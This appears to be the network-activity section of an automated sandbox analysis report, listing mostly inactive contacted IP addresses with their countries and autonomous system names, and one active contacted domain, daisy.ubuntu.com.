15395 RACKSPACE-LONGB false
134.59.102.63
 unknown France
2200 FR-RENATERReseauNationaldetelecommunicationspourlaTec false
119.178.205.183
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
59.42.177.161
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
158.27.168.27
 unknown United States
1766 ASN-EXXONMOBIL-US false
196.108.34.85
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
11.229.197.253
 unknown United States
3356 LEVEL3US false
13.93.243.221
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
171.165.76.33
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
96.140.91.201
 unknown United States
7922 COMCAST-7922US false
4.81.84.186
 unknown United States
3356 LEVEL3US false
132.44.10.96
 unknown United States
385 AFCONC-BLOCK1-ASUS false
52.229.186.29
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
55.233.236.242
 unknown United States
306 DNIC-ASBLK-00306-00371US false
30.99.249.157
 unknown United States
7922 COMCAST-7922US false
58.94.45.118
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
54.38.112.39
 unknown France
16276 OVHFR false
35.112.162.251
 unknown United States
237 MERIT-AS-14US false
111.131.235.21
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
38.251.1.250
 unknown United States
174 COGENT-174US false
158.97.154.183
 unknown Mexico
3640 CICESEMX false
52.133.174.83
 unknown United States
63040 HOSTZORSUS false
83.95.142.237
 unknown Denmark
3292 TDCTDCASDK false
142.215.194.170
 unknown Canada
32156 HUMBER-COLLEGECA false
8.127.39.119
 unknown United States
3356 LEVEL3US false
39.100.181.187
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
61.7.205.48
 unknown Thailand
9931 CAT-APTheCommunicationAuthoityofThailandCATTH false
17.37.238.73
 unknown United States
714 APPLE-ENGINEERINGUS false
126.151.67.26
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
13.117.221.17
 unknown United States
16509 AMAZON-02US false
6.97.112.6
 unknown United States
3356 LEVEL3US false
4.165.94.152
 unknown United States
3356 LEVEL3US false
15.206.178.249
 unknown United States
16509 AMAZON-02US false
86.49.187.94
 unknown Czech Republic
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
21.234.101.137
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
78.13.158.116
 unknown Italy
8612 TISCALI-IT false
4.219.97.39
 unknown United States
3356 LEVEL3US false
133.206.37.49
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
17.29.255.58
 unknown United States
714 APPLE-ENGINEERINGUS false
105.149.104.187
 unknown Morocco
6713 IAM-ASMA false
4.55.97.175
 unknown United States
3356 LEVEL3US false
46.92.3.160
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
130.162.94.251
 unknown United States
43898 ORCL-AM-OPC1NL false
29.239.188.165
 unknown United States
7922 COMCAST-7922US false
218.5.207.20
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
222.248.231.198
 unknown China
17962 TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN false
15.98.115.150
 unknown United States
13979 ATT-IPFRUS false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true